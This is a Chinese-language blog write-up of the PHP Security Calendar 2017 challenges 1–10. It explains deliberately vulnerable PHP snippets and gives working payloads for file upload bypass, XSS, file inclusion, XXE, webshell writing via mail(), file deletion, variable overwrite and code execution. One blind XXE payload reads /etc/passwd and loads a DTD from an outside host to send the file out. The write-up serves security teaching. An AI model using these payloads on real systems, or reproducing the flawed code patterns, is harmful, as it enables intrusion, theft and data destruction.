1. 程式人生 > 其它 >PHP SECURITY CALENDAR 2017 (1-10題)

PHP SECURITY CALENDAR 2017 (1-10題)

PHP SECURITY CALENDAR 2017 (1-10題)

Day 1 - Wish List

class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

$challenge = new Challenge($_FILES['solution']);

關鍵程式碼在__destruct解構函式中,使用in_array檢查$_FILES[‘solution’]上傳檔案的檔名name是否在1~24的範圍之內來選擇是否執行move_uploaded_file,由於沒有設定in_array的第三個引數導致了繞過檢查。

in_array :(PHP 4, PHP 5, PHP 7)

功能 :檢查陣列中是否存在某個值

定義in_array(mixed $needle, array $haystack, bool $strict = false): bool

返回值 :bool

大海撈針,在 $haystack 中搜索 $needle ,如果沒有設定第三個引數 strict

則使用寬鬆的比較。

啟用第三個引數為true,則會使用強比較,檢查型別是否也相同

例如檔名為 7shell.php 。因為PHP在使用 in_array() 函式判斷時,會將 7shell.php 強制轉換成數字7,而數字7在 range(1,24) 陣列中,最終繞過 in_array() 函式判斷,導致任意檔案上傳漏洞。

Day 2 - Twig

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="https://loremflickr.com/320/240">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        ]);
        $this->twig = new Twig\Environment($loader);
    }

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }

    public function render() {
        echo $this->twig->render(
            'index.html',
            ['link' => $this->getNexSlideUrl()]
        );
    }
}

(new Template())->render();

這次考驗的是xss漏洞,用到的模板引擎Twig來輸出到頁面。關鍵點要繞過兩個函式escapefilter_var,在Twig模板引擎定義的 escape 過濾器來過濾link,而實際上這裡的 escape 過濾器,是用PHP內建函式 htmlspecialchars 來實現的。Twig中的{{link|escape}}中的escape的和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')是一樣的,所以單引號和雙引號等都無法使用了

htmlspecialchars :(PHP 4, PHP 5, PHP 7)

功能 :將特殊字元轉換為 HTML 實體

& (& 符號)  ===============  &amp;
" (雙引號)  ===============  &quot;
' (單引號)  ===============  &apos;
< (小於號)  ===============  &lt;
> (大於號)  ===============  &gt;

第二處過濾在 第22行 ,這裡用了 filter_var 函式來過濾 nextSlide 變數,且用了 FILTER_VALIDATE_URL 過濾器來判斷是否是一個合法的url。filter_var的URL過濾非常的弱,只是單純的從形式上檢測並沒有檢測協議。測試如下:

var_dump(filter_var('example.com', FILTER_VALIDATE_URL));           # false
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));    # http://example.com
var_dump(filter_var('xxxx://example.com', FILTER_VALIDATE_URL));    # xxxx://example.com
var_dump(filter_var('http://example.com>', FILTER_VALIDATE_URL));   # false

針對這兩處的過濾,我們可以考慮使用 javascript偽協議 來繞過,javascript://comment%250aalert(1)

這裡的 // 在JavaScript中表示單行註釋,所以後面的內容均為註釋,那為什麼會執行 alert 函式呢?那是因為我們這裡用了字元 %0a ,該字元為換行符,所以 alert 語句與註釋符 // 就不在同一行,就能執行。

後面的%250a其實是%0a的url編碼。這裡進行了二次編碼。因為payload發給伺服器後會解碼一次。通過javascript://comment繞過filter_var,最後得到javascript://comment%0aalert()進入到<a href="{{link|escape}}">Next slide »</a>剛好能夠觸發alert。

Day 3 - Snow Flake

function __autoload($className) {
    include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

class HomeController {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function render() {
        if ($this->data['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}

在第8行中的class_exists()會檢查是否存在對應的類,當呼叫class_exists()函式時會觸發使用者定義的__autoload()函式,用於載入找不到的類。

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :檢查類是否已定義

定義bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 為類的名字,在匹配的時候不區分大小寫。預設情況下 $autoloadtrue ,當 $autoloadtrue 時,會自動載入本程式中的 __autoload 函式;當 $autoloadfalse 時,則不呼叫 __autoload 函式。

除此之外,還有很多的函式在呼叫__autoload()的方法,如下:

call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()

所以如果我們輸入../../../../etc/passwd是,就會呼叫class_exists(),這樣就會觸發__autoload()中的include產生任意檔案包含。前提是 PHP5~5.3版本 之間才可以,這個漏洞在PHP 5.4中已經被修復了。

另一個是blind xxe漏洞,由於存在class_exists(),所以我們可以呼叫PHP的任意內建函式,並且通過$controller = new $controllerName($data);進行例項化。這個時候就可以藉助與PHP中的SimpleXMLElement類來完成XXE攻擊。

test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外網地址/evil.dtd">
%remote;
%send;
]>

Day 4 - False Beard

class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
    }

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<xml><user="%s"/><pass="%s"/></xml>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.
            $this->login($xmlElement);
        }
    }
}

new Login($_POST['username'], $_POST['password']);

第8-9行進行了strpos函式的過濾,然後把接收到的資料進行SimpleXMLElement函式處理。其實這裡由於strpos函式使用不當導致了注入問題。

strpos — 查詢字串首次出現的位置

作用:主要是用來查詢字元在字串中首次出現的位置。

var_dump(strpos('abcd','a'));       # 0
var_dump(strpos('abcd','x'));       # false

strpos 函式返回查詢到的子字串的下標。如果字串開頭就是我們要搜尋的目標,則返回下標 0 ;如果搜尋不到,則返回 false

由於PHP的自動型別轉換的關係,0false是相等的,如下:

var_dump(0==false);         # true

所以如果我們傳入的usernamepassword的首位字元是<或者是>就可以繞過限制,那麼最後的pyaload就是:

username=<"><injected-tag%20property="&password=<"><injected-tag%20property="

最終傳入到$this->login($xmlElement)$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>這樣就可以進行注入了。

Day 5 - Postcard

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = '[email protected]';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = '[email protected]';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);

程式碼中有個mail函式,如果第五個引數設定為-X,則可以寫入webshell

上面這個樣例中,我們使用 -X 引數指定日誌檔案,最終會在 /var/www/html/rce.php 檔案中寫入如下資料:

17220 <<< To: [email protected]
 17220 <<< Subject: Hello Alice!
 17220 <<< X-PHP-Originating-Script: 0:test.php
 17220 <<< CC: [email protected]
 17220 <<<
 17220 <<< <?php phpinfo(); ?>
 17220 <<< [EOF]

要到達mail函式,則需要經過兩個過濾filter_varescapeshellarg

filter_var :使用特定的過濾器過濾一個變數

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

功能 :這裡主要是根據第二個引數filter過濾一些想要過濾的東西。

filter_var() 問題在於,在雙引號中即使存在特殊字元,仍然能夠通過檢測為true。以下是一些有效通過的例子:

Valid email addresses:
[email protected]
[email protected]
[email protected]
[email protected]
user@[IPv6:2001:db8:1ff::a0b:dbd0]
"much.more unusual"@example.com
"[email protected]"@example.com
"very.(),:;<>[]".VERY."very@\ "very".unusual"@strange.example.com
postbox@com (top-level domains are valid hostnames)
admin@mailserver1 (local domain name with no TLD)
!#$%&'*+-/=?^_`{}|[email protected]
"()<>[]:,;@\"!#$%&'*+-/=?^_`{}| ~.a"@example.org
" "@example.org (space between the quotes)
üñîçøðé@example.com (Unicode characters in local part)

當然由於引入的特殊符號,雖然繞過了 filter_var() 針對郵箱的檢測,但是由於在PHP的 mail() 函式在底層實現中,呼叫了 escapeshellcmd() 函式,對使用者輸入的郵箱地址進行檢測,導致即使存在特殊符號,也會被 escapeshellcmd() 函式處理轉義,這樣就沒辦法達到命令執行的目的了。所以可以利用escapeshellarg和escapeshellcmd一起使用從而繞過。

escapeshellarg 函式轉義後,還會在左右各加一個單引號,但 escapeshellcmd 函式是直接加一個轉義符,對於成對的單引號, escapeshellcmd 函式預設不轉義。

escapeshellcmd()escapeshellarg 一起使用,會造成特殊字元逃逸,下面我們給個簡單例子理解一下:

  1. 傳入的引數是

    127.0.0.1' -v -d a=1
    
  2. 由於escapeshellarg先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。所以處理之後的效果如下:

    '127.0.0.1'\'' -v -d a=1'
    
  3. 接著 escapeshellcmd 函式對第二步處理後字串中的 \ 以及 a=1' 中的單引號進行轉義處理,結果如下所示:

    '127.0.0.1'\\'' -v -d a=1\'
    
  4. 由於第三步處理之後的payload中的 \\ 被解釋成了 \ 而不再是轉義字元,所以單引號配對連線之後將payload分割為三個部分,具體如下所示:

所以這個payload可以簡化為 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 發起請求,POST 資料為 a=1'

Day 6 - Frost Pattern

class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
                $this->createToken($data);
                break;
            case 'delete':
                $this->clearToken($data);
                break;
            default:
                throw new Exception('Unknown action');
        }
    }

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '...data');
    }

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);
    }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

clearToken()方法中的正則表示式[^a-z.-_],本意是將非a-z.-_全部替換為空。這樣../../../目錄穿越的方式就無法使用了,因為/會被替換為空。

但是本題的問題在於[^a-z.-_]中的-沒有進行轉義。如果-沒有進行轉義,那麼-表示匹配一個列表,例如[1-9]表示的數字1到9,但是如果[1\-9]表示就是匹配字母1-9。所以在本題中使用的[^a-z.-_]表示的就是非ascii表中的序號為46至122的字母替換為空。那麼此時的../.../就不會被匹配,就可以進行目錄穿越,從而造成任意檔案刪除了。

最後的pyload可以寫為:action=delete&data=../../config.php

Day 7 - Bells

function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
            $config['dbhost'],
            $config['dbuser'],
            $config['dbpass'],
            $config['dbname']
        );
    }
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    $stmt->bind_result($name);
    $stmt->execute();
    $stmt->fetch();
    return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

首先來看parse_url函式

用法:parse_url(string $url, int $component = -1): [mixed]

本函式解析一個 URL 並返回一個關聯陣列,包含在 URL 中出現的各種組成部分。

如果省略了 component 引數,將返回一個關聯陣列 array,在目前至少會有一個元素在該陣列中。陣列中可能的鍵有以下幾種:

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在問號 ? 之後
  • fragment - 在雜湊符號 # 之後

例如:http://username:password@hostname/path?arg=value#anchor則會輸出以下

Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

在題目中的$var['query']就是?後面的引數鍵值對。接下來看第二個函式parse_str

用法:parse_str(string,array)

parse_str() 函式把查詢字串解析到變數中。

例項

把查詢字串解析到變數中:

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>

而這個parse_str就是容易產生變數覆蓋漏洞的函式。同時$_SERVER['HTTP_REFERER']也是可控的,那麼就存在變數覆蓋的漏洞了。

通過變數覆蓋漏洞,我們可以覆蓋掉$config,使其在我們構造的資料庫中進行查詢,這樣就能夠保證我們能夠順利地進行通過驗證。

最後的payload如下:http://host/config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1

Day 8 - Candle

header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
    return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";
}

preg_replace函式的/e模式會產生程式碼執行,下面是一個demo。第一個引數必須是匹配到第三個引數,第二個引數就會產生命令執行

preg_replace('/(.*)/e','phpinfo();','xxx');

preg_replace:(PHP 5.5)

功能 : 函式執行一個正則表示式的搜尋和替換

定義mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜尋 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 進行替換

我們可以通過控制 preg_replace 函式第1個、第3個引數,來執行程式碼。但是可被當做程式碼執行的第2個引數,卻固定為 'strtolower("\1")'

因為strtolower("\\1")使用的是雙引號,而php中的雙引號能夠執行程式碼,比如

<?php
echo strtolower("{${phpinfo()}}");
?>

所以此處的strtolower("\\1")就是\1

echo strtolower("\\1");

\1在正則表示式中表示反向引用,即引用正則第一次匹配到的值{${phpinfo()}},這樣就相當於執行了{${phpinfo()}}

那麼本題的最後的payload可以寫為/?.*={${phpinfo()}}

但是,如果GET請求的引數名存在非法字元,PHP會將其替換成下劃線,即 .* 會變成 _* 。所以 payload 變為了:

_*={${phpinfo()}}

這時候需要繞過 . 的話,可以利用以下payload,都是第一個引數匹配第三個引數,然後執行第二個引數的程式碼,反向引用了{${phpinfo()}}導致程式碼執行

http://test.com/test.php/?{\${\w*\(\)}}={${phpinfo()}}
http://test.com/test.php/?\S*={${phpinfo()}}

Day 9 - Rabbit

class LanguageManager
{
    public function loadLanguage()
    {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
    }

    private function getBrowserLanguage()
    {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
    }

    private function sanitizeLanguage($language)
    {
        return str_replace('../', '', $language);
    }
}

(new LanguageManager())->loadLanguage();	

這一題考察的是一個 str_replace 函式過濾不當造成的任意檔案包含漏洞。在上圖程式碼 第18行 處,程式僅僅只是將 ../ 字元替換成空,這並不能阻止攻擊者進行攻擊。例如攻擊者使用payload:....// 或者 ..././ ,在經過程式的 str_replace 函式處理後,都會變成 ../ ,所以上圖程式中的 str_replace 函式過濾是有問題的。

str_replace :(PHP 4, PHP 5, PHP 7)

功能 :子字串替換

定義mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

該函式返回一個字串或者陣列。如下:

str_replace(字串1,字串2,字串3):將字串3中出現的所有字串1換成字串2。

str_replace(陣列1,字串1,字串2):將字串2中出現的所有陣列1中的值,換成字串1。

str_replace(陣列1,陣列2,字串1):將字串1中出現的所有陣列1一一對應,替換成陣列2的值,多餘的替換成空字串。

那麼最後的請求的payload如下:

Accept-Language:  .//....//....//etc/passwd

Day 10 - Anticipation

$pi = extract($_POST);
function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";
}

雖然這道題目存在extract($_POST);,但並不存在變數覆蓋漏洞。 這個題目存在兩個關鍵的問題:

  1. 雖然做了pi值的防範,但是程式在header跳轉處理完之後,沒有使用exit()或者是die()退出,導致後續的第11行程式碼任然可以執行。
  2. assert()能夠執行"中的程式碼,如assert("(int)phpinfo()");

例如我們的payload為:pi=phpinfo() (這裡為POST傳遞資料),然後程式就會執行這個 phpinfo 函式。當然,你在瀏覽器端可能看不到 phpinfo 的頁面,而是像下面這樣的圖片:

但是用 BurpSuite ,大家就可以清晰的看到程式執行了 phpinfo 函式:

實際上,這種案例在真實環境下還不少。例如有些CMS通過檢查是否存在install.lock檔案,從而判斷程式是否安裝過。如果安裝過,就直接將使用者重定向到網站首頁,卻忘記直接退出程式,導致網站重灌漏洞的發生。